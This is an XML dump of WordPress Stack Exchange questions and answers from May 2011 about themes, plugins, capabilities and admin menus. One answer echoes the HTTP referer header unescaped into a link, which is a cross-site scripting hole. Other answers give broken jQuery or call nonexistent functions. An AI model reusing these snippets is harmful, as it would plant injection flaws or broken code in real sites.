  <row Id="17724" PostTypeId="2" ParentId="17709" CreationDate="2011-05-19T18:49:38.763" Score="1" ViewCount="" Body="&lt;p&gt;By default, this is styled in the core of WP in the login.css and colors-fresh.css&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could always copy this into you theme's CSS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;input.button-primary, button.button-primary, a.button-primary {&#xA;border-color: #298CBA;&#xA;font-weight: bold;&#xA;color: white;&#xA;background: #21759B url(../images/button-grad.png) repeat-x scroll left top;&#xA;text-shadow: rgba(0, 0, 0, 0.3) 0 -1px 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And make the changes you'd like to see and simply add the &lt;code&gt;!important&lt;/code&gt; to the ones that are different. Like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;input.button-primary, button.button-primary, a.button-primary {&#xA;border-color: #000 !important;&#xA;font-weight: normal !important;&#xA;color: orange !important;&#xA;text-shadow: none !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as changing the 'text' of the button, that's part of the WP core file and would be over written each time you updated and would not be transferred from site to site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a couple of plugins that might help with customizing your login page a little more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/bm-custom-login/&quot; rel=&quot;nofollow&quot;&gt;BM Custom Login&lt;/a&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/bm-custom-login/&quot; rel=&quot;nofollow&quot;&gt;Custom Login&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5295" LastActivityDate="2011-05-19T18:49:38.763" />
  <row Id="17726" PostTypeId="1" CreationDate="2011-05-19T19:43:58.983" Score="0" ViewCount="132" Body="&lt;p&gt;I want to create dynamic capabilities using &lt;a href=&quot;http://wpdocs.labs.dxw.com/classes/WP_Role.html#method-i-add_cap&quot; rel=&quot;nofollow&quot;&gt;WP_Role::add_cap()&lt;/a&gt;, something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$author_role = get_role('author');&#xA;&#xA;foreach ($sections as $section) {&#xA;    $author_role-&amp;gt;add_cap( &quot;edit_{$section}_pages&quot;, /* grant= */ false );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then let administrators grant certain of those capabilities to certain authors only (e.g., Jane can edit_school_pages) in wp-admin (&lt;strong&gt;not&lt;/strong&gt; programmatically, via WP_User::add_cap()).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume a plugin can help with this, but those I've found (e.g., &lt;a href=&quot;http://wordpress.org/extend/plugins/capsman/&quot; rel=&quot;nofollow&quot;&gt;Capability Manager&lt;/a&gt;) seem to emphasize creating new Roles or Capabilities and adding/moving Capabilities among Roles, not granting capabilities directly to users (though I could be wrong).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advice? Thanks, s&lt;/p&gt;&#xA;" OwnerUserId="5519" LastActivityDate="2011-05-19T20:13:28.083" Title="How can I grant capabilities directly to users (not roles) in wp-admin?" Tags="&lt;capabilities&gt;&lt;add-cap&gt;" AnswerCount="1" />
  <row Id="17727" PostTypeId="1" CreationDate="2011-05-19T19:56:49.143" Score="1" ViewCount="116" Body="&lt;p&gt;I'm developing a plugin that I'll install for all my clients to make WordPress slightly easier to use for them. One of the things it will change is name of the W3 Total Cache Admin menu from &quot;Performance&quot; to &quot;Ytelse (avansert)&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to rename the default admin menus. The code below changes &quot;Posts&quot; to &quot;Nyheter&quot;(News in Norwegian).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function change_post_menu_label_news() {&#xA;global $menu;&#xA;$menu[5][0] = 'Nyheter';&#xA;echo '';&#xA;}&#xA;&#xA;add_action( 'admin_menu', 'change_post_menu_label_news' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I find the ID to change by temporarily using this code:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init','dump_admin_menu');&#xA;function dump_admin_menu() {&#xA; if (is_admin()) {&#xA;header('Content-Type:text/plain');&#xA;var_dump($GLOBALS['menu']);&#xA;exit;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it's harder to rename the Performance menu since the ID increments by one when I try to rename it!. W3 Total Cache probably thinks that the ID is taken and tries a higher one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change the name of the W3 Total Cache admin Menu while avoiding this issue and without editing anything related to the plugin?&lt;/p&gt;&#xA;" OwnerUserId="5508" LastActivityDate="2011-05-20T15:59:22.367" Title="Rename W3 Total Cache admin menu" Tags="&lt;wp-admin&gt;&lt;admin-menu&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="17728" PostTypeId="1" CreationDate="2011-05-19T19:58:17.257" Score="0" ViewCount="83" Body="&lt;p&gt;I use a custom field in WordPress and created a form to upload an image in the post. Everything works fine. I also wrote code to replace the original image (if someone uploads a huge image) which automatically resizes it. It in fact resizes the image but it doesn't keep the aspect ratio, meaning max 500px width, max 800px height. It takes those values and the image becomes cropped to that size. I want the height to be proportional, not cropped!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function replace_uploaded_image($image_data) {&#xA;    // if there is no large image : return&#xA;    if (!isset($image_data['sizes']['large'])) return $image_data;&#xA;    // paths to the uploaded image and the large image&#xA;    $upload_dir = wp_upload_dir();&#xA;    $uploaded_image_location = $upload_dir['basedir'] . '/' .$image_data['file'];&#xA;    $large_image_location = $upload_dir['path'] . '/'.$image_data['sizes']['large']['file'];&#xA;&#xA;    // delete the uploaded image&#xA;    unlink($uploaded_image_location);&#xA;&#xA;    // rename the large image&#xA;    rename($large_image_location,$uploaded_image_location);&#xA;&#xA;    // update image metadata and return them&#xA;    $image_data['width'] = $image_data['sizes']['large']['width'];&#xA;    $image_data['height'] = $image_data['sizes']['large']['height'];&#xA;    unset($image_data['sizes']['large']);&#xA;    return $image_data;&#xA;}&#xA;add_filter('wp_generate_attachment_metadata','replace_uploaded_image');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5499" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-19T20:06:56.830" LastActivityDate="2011-05-19T20:06:56.830" Title="Large image size is cropped, not proportional?" Tags="&lt;image-size&gt;" CommentCount="6" />
  <row Id="17729" PostTypeId="1" CreationDate="2011-05-19T20:02:44.413" Score="0" ViewCount="75" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://voodoopress.com/2011/03/review-of-posting-from-front-end-form/&quot; rel=&quot;nofollow&quot;&gt;http://voodoopress.com/2011/03/review-of-posting-from-front-end-form/&lt;/a&gt;  for add a form in a page template, but I need to allow users to set another taxonomy through checkboxes (multiple).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, we set a category (or taxo), so if you want to add another dropdown, we have to add another set_term instance i.e:&#xA;wp_set_post_terms($pid,array($_POST['job_states']),’jobplace’,true);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then get terms and echo every item (can't remember the code right now, I will post here later ok.) The select field id must be then 'job_states'. And works magically! The taxo adds up to the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need help on this:&#xA;How to use checboxes for another taxo I have? I use almost the same code for get terms and echo the itens, the renderized code is looking ok, but is not adding. I just don´t know how to use checkboxes on this.&lt;/p&gt;&#xA;" OwnerUserId="5520" LastActivityDate="2011-05-19T20:02:44.413" Title="Checkboxes for taxonomy in frontend form?" Tags="&lt;front-end&gt;" />
  <row Id="17730" PostTypeId="2" ParentId="17726" CreationDate="2011-05-19T20:13:28.083" Score="1" ViewCount="" Body="&lt;p&gt;Capabilities are permissions for roles.  Those roles are then extended to the users, which determines what a user can do.  The reason you use roles is to avoid managing permissions per user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to accomplish what you want is to create a new role for each set of capabilities that you want and assign the user to each role with a member management plugin.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-05-19T20:13:28.083" CommentCount="2" />
  <row Id="17731" PostTypeId="2" ParentId="17723" CreationDate="2011-05-19T20:32:49.287" Score="1" ViewCount="" Body="&lt;p&gt;My answer will be in the form of links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The WPAlchemy meta box class supports this: &lt;a href=&quot;http://www.farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;http://www.farinspace.com/wpalchemy-metabox/&lt;/a&gt;&#xA;+ tutorial &lt;a href=&quot;http://www.farinspace.com/wordpress-media-uploader-integration/&quot; rel=&quot;nofollow&quot;&gt;http://www.farinspace.com/wordpress-media-uploader-integration/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tutorial on how to do it, mainly javascript: &lt;a href=&quot;http://www.webmaster-source.com/2010/01/08/using-the-wordpress-uploader-in-your-plugin-or-theme/&quot; rel=&quot;nofollow&quot;&gt;http://www.webmaster-source.com/2010/01/08/using-the-wordpress-uploader-in-your-plugin-or-theme/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-19T20:32:49.287" CommentCount="1" />
  <row Id="17732" PostTypeId="2" ParentId="17513" CreationDate="2011-05-19T20:40:33.067" Score="0" ViewCount="" Body="&lt;p&gt;If you add your stylesheet via wp_head, your styles will be applied just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works for one of my plugins:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_head', 'my_custom_css' );&#xA;&#xA;function my_custom_css(){&#xA;    echo apply_filters( 'my_custom_css', '&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;' . plugins_url( 'css/my-custom-css.css', __FILE__ ) . '&quot; type=&quot;text/css&quot; /&amp;gt;' );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To have a user override your CSS file and use the styles in their stylesheet, have them place the following into their functions.php file.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'my_custom_css', '__return_false' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doing it this way gives you and the user the benefit to cache the file instead of systematically trying to determine if the shortcode is on the page or not.  Plus, you'll give control back to the user by letting them override your CSS in favor of their own.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-05-19T20:40:33.067" />
  <row Id="17733" PostTypeId="2" ParentId="17699" CreationDate="2011-05-19T20:57:39.420" Score="0" ViewCount="" Body="&lt;p&gt;check out this Paypal Donation Shortcode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wp-snippets.com/paypal-donation-shortcode/&quot; rel=&quot;nofollow&quot;&gt;http://wp-snippets.com/paypal-donation-shortcode/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-05-19T20:57:39.420" />
  <row Id="17737" PostTypeId="1" AcceptedAnswerId="17743" CreationDate="2011-05-19T23:31:09.007" Score="0" ViewCount="97" Body="&lt;p&gt;So I enabled custom excerpts on my pages with this function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'page_excerpts');&#xA;&#xA;function page_excerpts() {&#xA;    add_post_type_support( 'page', 'excerpt' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, When I enter a data into the excerpt field I still have the content returning in the loop instead of my newly added excerpt. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I need to do anything else to force the content to be pulled from the excerpt field on pages?&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-05-20T10:04:54.930" Title="How do I pull excerpts from pages?" Tags="&lt;functions&gt;&lt;the-loop&gt;&lt;the-content&gt;&lt;the-excerpt&gt;" AnswerCount="1" />
  <row Id="17738" PostTypeId="1" AcceptedAnswerId="17747" CreationDate="2011-05-20T00:44:48.693" Score="0" ViewCount="105" Body="&lt;p&gt;is there a way to add custom user meta fields (like the one in the profile.php which contain specific user data), but only an admin (or an other user with enough capabilities) can change them?&#xA;Maybe I'm thinking too complicated, how would you tell your site visitors who from your users is doing which work on the site, if there are too many users (and probably often changing work) that it would be impossible too make a static page or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greetings, .wired&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// edit: you may replace &quot;work&quot; with position. I want to give the users a specific position. That's not the user role!&lt;/p&gt;&#xA;" OwnerUserId="5328" LastActivityDate="2011-05-20T04:24:54.727" Title="Add User meta fields, which only admin can edit" Tags="&lt;admin&gt;&lt;users&gt;&lt;profiles&gt;" AnswerCount="1" />
  <row Id="17739" PostTypeId="1" AcceptedAnswerId="17742" CreationDate="2011-05-20T01:32:58.507" Score="0" ViewCount="169" Body="&lt;p&gt;I'm trying to set the Post Title or Post Content as the caption in my &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-nivo-slider/&quot; rel=&quot;nofollow&quot;&gt;Nivo Slider&lt;/a&gt;. Any ideas on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-05-20T02:50:00.840" Title="Custom Caption on WP Nivo Slider" Tags="&lt;plugins&gt;&lt;slideshow&gt;" AnswerCount="1" />
  <row Id="17740" PostTypeId="1" AcceptedAnswerId="17769" CreationDate="2011-05-20T02:45:04.413" Score="1" ViewCount="118" Body="&lt;p&gt;I'm writing a custom plugin that allows a particular page to have it's own sidebar with widgets.  It works great so far, but what I'd like to do is generalize it more and allow the plugin to &quot;override&quot; the dynamic sidebar of any page (if it has a custom sidebar) without having to edit any template files.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried several hooks and have delved into the code a bit, but nothing stands our or works so far.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save some time I thought I'd see if anybody has any working solutions to this issue?  I might be able to solve this issue, but it is straining my &quot;after working hours&quot; brain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it isn't possible I'd be more than willing to have a short-code or function call that does this for me, but I'd really like to make it idiot proof and just have it work without any template changes.    &lt;/p&gt;&#xA;" OwnerUserId="4834" LastActivityDate="2011-05-26T21:22:06.550" Title="Override dynamic_sidebar() in plugin?" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="17741" PostTypeId="2" ParentId="9768" CreationDate="2011-05-20T02:46:22.293" Score="0" ViewCount="" Body="&lt;p&gt;I wrote a very in depth tutorial at &lt;a href=&quot;http://www.problogdesign.com/wordpress/advanced-wordpress-comment-styles-and-tricks/&quot; rel=&quot;nofollow&quot;&gt;Pro Blog Design.com&lt;/a&gt; that covers this topic.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-05-20T02:46:22.293" />
  <row Id="17742" PostTypeId="2" ParentId="17739" CreationDate="2011-05-20T02:50:00.840" Score="0" ViewCount="" Body="&lt;p&gt;You need to set the &quot;title&quot; attribute of the images to be the post title. You can do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;title=' . get_post_title() . '&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will have to modify the HTML output of the plugin, but it should not be very difficult at all.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-05-20T02:50:00.840" CommentCount="1" />
  <row Id="17743" PostTypeId="2" ParentId="17737" CreationDate="2011-05-20T02:51:07.593" Score="2" ViewCount="" Body="&lt;p&gt;Perhaps try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php &#xA;    global $more; &#xA;    $more = false; &#xA; ?&amp;gt;&#xA; &amp;lt;?php the_content('&amp;lt;span&amp;gt;Continue Reading&amp;lt;/span&amp;gt;'); ?&amp;gt;&#xA; &amp;lt;?php $more = true; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2418" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-05-20T10:04:54.930" LastActivityDate="2011-05-20T10:04:54.930" CommentCount="7" />
  <row Id="17744" PostTypeId="1" AcceptedAnswerId="18565" CreationDate="2011-05-20T03:18:12.880" Score="0" ViewCount="137" Body="&lt;p&gt;In the TinyMCE editor that comes with WordPress there is no button to insert image from link. I know that you can do this using the upload/insert section. But let us say that I don't want to allow users to upload images but want them to be able to insert images by linking them. If I remove the upload capabilities, the upload/insert section disappears altogether.&lt;br/&gt;&#xA;Is there already a method to do this on WordPress?&lt;/p&gt;&#xA;" OwnerUserId="5410" LastActivityDate="2011-05-28T14:35:46.697" Title="How to insert image from link in TinyMCE" Tags="&lt;tinymce&gt;&lt;image&gt;&lt;buttons&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="17745" PostTypeId="1" CreationDate="2011-05-20T03:21:14.523" Score="0" ViewCount="98" Body="&lt;p&gt;I have 1 important taxonomy that contains 2 different custom post type content. I want somehow show them in same taxonomy page with both paging. Well.. i am not sure i can do that or not. Is it possible to paging 2 different CPT in same taxonomy?&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2011-08-19T15:10:07.090" Title="2 custom post type paging in 1 custom taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;pagination&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="17746" PostTypeId="1" CreationDate="2011-05-20T04:16:30.133" Score="0" ViewCount="69" Body="&lt;p&gt;Recently I have gone through this &lt;a href=&quot;http://www.labnol.org/internet/migrate-wordpress-blog-to-own-domain/12776/&quot; rel=&quot;nofollow&quot;&gt;article on migrating a blog&lt;/a&gt; to my own domain. In this article its being said that register your new website using google.com instead of goDaddy.com. As per given instruction I have registered my new website using &lt;a href=&quot;http://www.google.com/a/cpanel/domain/new&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/a/cpanel/domain/new&lt;/a&gt;. After all payment and account setups its asking me to Verify ownership. It asking me to add a DNS record to domain's configuration. And at the bottom to choose select your domain registrar there are several registrar like godaddy.com, register.com etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my problem is how can i verify my ownership ? I have already paid $10 to google for my new website registration. Should I have to pay again to goDaddy.com ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help&lt;/p&gt;&#xA;" OwnerUserId="5524" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-20T14:43:17.800" LastActivityDate="2011-05-20T14:43:17.800" ClosedDate="2011-05-20T14:49:42.653" Title="Problem Migrating Blog from WordPress.com to self hosted install" Tags="&lt;wordpress.com&gt;&lt;registration&gt;&lt;domain&gt;&lt;verification&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="17747" PostTypeId="2" ParentId="17738" CreationDate="2011-05-20T04:24:54.727" Score="2" ViewCount="" Body="&lt;p&gt;I think I get what you are saying, and if not, forgive me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just add your meta fields / metabox inside:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( current_user_can( 'administrator' ) ){  // put code here }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*this is assuming you aren't asking how to add a metafield or metabox. &lt;/p&gt;&#xA;" OwnerUserId="4834" LastActivityDate="2011-05-20T04:24:54.727" />
  <row Id="17748" PostTypeId="1" CreationDate="2011-05-20T04:28:24.567" Score="0" ViewCount="86" Body="&lt;p&gt;I've been looking for a solution to my problem for some time now, and I can't seem to find one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a submenu using the following code from the Codex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; if($post-&amp;gt;post_parent) {&#xA; $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;post_parent.&quot;&amp;amp;echo=0&quot;);&#xA; $titlenamer = get_the_title($post-&amp;gt;post_parent);&#xA; }&#xA;&#xA; else {&#xA; $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;ID.&quot;&amp;amp;echo=0&quot;);&#xA; $titlenamer = get_the_title($post-&amp;gt;ID);&#xA; }&#xA; if ($children) { ?&amp;gt;&#xA;&#xA; &amp;lt;h2&amp;gt; &amp;lt;?php echo $titlenamer; ?&amp;gt; &amp;lt;/h2&amp;gt;&#xA; &amp;lt;ul&amp;gt;&#xA; &amp;lt;?php echo $children; ?&amp;gt;&#xA; &amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This worked fine until I added siblings to a child menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the menu to work like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Main menu&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Submenu (Children)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Siblings&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But using the before code above I get this (as show in this image &lt;a href=&quot;http://www.inlusiondesign.dk/images/stories/wp_list_pages-problem.png&quot; rel=&quot;nofollow&quot;&gt;http://www.inlusiondesign.dk/images/stories/wp_list_pages-problem.png&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Main menu&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Submenu (Children)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Siblings&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I where to click e.g. &quot;Test 1&quot; everything is fine again - I suppose this is because it hasn't got any children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using &quot;depth=2&quot; in various places, but that didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="4395" LastActivityDate="2011-08-18T12:26:32.083" Title="Depth problem using wp_list_pages for subnavigation" Tags="&lt;navigation&gt;&lt;children&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="17749" PostTypeId="2" ParentId="17744" CreationDate="2011-05-20T05:12:35.797" Score="0" ViewCount="" Body="&lt;p&gt;here is a link on the code page. I can't write the code for some reason my browser is not accepting the code tags will try another computer when possible but the link explains all. here is the link.  &lt;a href=&quot;http://codex.wordpress.org/TinyMCE_Custom_Buttons&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/TinyMCE_Custom_Buttons&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-20T05:12:35.797" />
  <row Id="17750" PostTypeId="1" CreationDate="2011-05-19T15:41:02.223" Score="0" ViewCount="70" Body="&lt;p&gt;in my &lt;strong&gt;single.php&lt;/strong&gt; i have a link back to the category:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$category_id = get_the_category(); &#xA;$category_link = get_category_link( $category_id[0]-&amp;gt;cat_ID );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i am now coming from &lt;strong&gt;page 2&lt;/strong&gt; to the single, is there a way to go directly back to the second page?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a better way than using the js &lt;code&gt;history.back()&lt;/code&gt; method?&lt;/p&gt;&#xA;" LastActivityDate="2011-05-20T05:18:17.260" Title="Wordpress get from single.php back to the right category page" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="17751" PostTypeId="2" ParentId="17750" CreationDate="2011-05-19T16:21:04.060" Score="2" ViewCount="" Body="&lt;p&gt;You could try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo $_SERVER['HTTP_REFERER']; ?&amp;gt;&quot; title=&quot;Go Back&quot;&amp;gt;Go Back&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5412" LastActivityDate="2011-05-19T16:21:04.060" CommentCount="1" />
  <row Id="17753" PostTypeId="2" ParentId="17748" CreationDate="2011-05-20T05:31:07.893" Score="0" ViewCount="" Body="&lt;p&gt;You could try the wp_nav_menu function and create menus in order to get the depth you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_nav_menu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5525" LastActivityDate="2011-05-20T05:31:07.893" CommentCount="1" />
  <row Id="17754" PostTypeId="2" ParentId="17745" CreationDate="2011-05-20T05:48:16.013" Score="0" ViewCount="" Body="&lt;p&gt;I think you're saying you have 2 post types which each share the same taxonomy term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a template that queries both post types and single taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array('post_type' =&amp;gt; array('post_type_one', 'post_type_two'), 'tax_slug' =&amp;gt; 'term_name' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5525" LastActivityDate="2011-05-20T05:48:16.013" CommentCount="1" />
  <row Id="17755" PostTypeId="2" ParentId="1105" CreationDate="2011-05-20T05:59:20.313" Score="0" ViewCount="" Body="&lt;p&gt;Bill Erickson released a TwentyTen CRM theme a few months ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.billerickson.net/twentyten-crm/&quot; rel=&quot;nofollow&quot;&gt;http://www.billerickson.net/twentyten-crm/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5525" LastActivityDate="2011-05-20T05:59:20.313" />
  <row Id="17757" PostTypeId="2" ParentId="17482" CreationDate="2011-05-20T06:06:35.363" Score="1" ViewCount="" Body="&lt;p&gt;You may be able to use WordPress MU Domain Mapping Plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, isn't this a bad idea from a search engine perspective? Multiple domains each with the same content?&lt;/p&gt;&#xA;" OwnerUserId="5525" LastActivityDate="2011-05-20T06:06:35.363" CommentCount="1" />
  <row Id="17761" PostTypeId="2" ParentId="17727" CreationDate="2011-05-20T06:24:11.363" Score="1" ViewCount="" Body="&lt;p&gt;You may be able to use the WordPress filter 'gettext':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/gettext&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Filter_Reference/gettext&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'gettext', 'rename_menu_item' );&#xA;function rename_menu_item( $translated ) &#xA;{&#xA;    $translated = str_replace( 'Performance', 'Ytelse', $translated );&#xA;    return $translated;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5525" LastActivityDate="2011-05-20T06:24:11.363" />
  <row Id="17764" PostTypeId="2" ParentId="17709" CreationDate="2011-05-20T06:42:17.873" Score="0" ViewCount="" Body="&lt;p&gt;Modify the input 'value' with jQuery: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    $(&quot;#wp-submit&quot;).function(){&#xA;        $(this).attr('value', 'new_value');&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Include the script in the login_head:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function change_login_button() {&#xA;    echo '&amp;lt;script src=&quot;link_to_script.js&quot;&amp;gt;&amp;lt;/script&amp;gt;';&#xA;}&#xA;add_action('login_head', 'change_login_button');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5525" LastActivityDate="2011-05-20T06:42:17.873" CommentCount="1" />
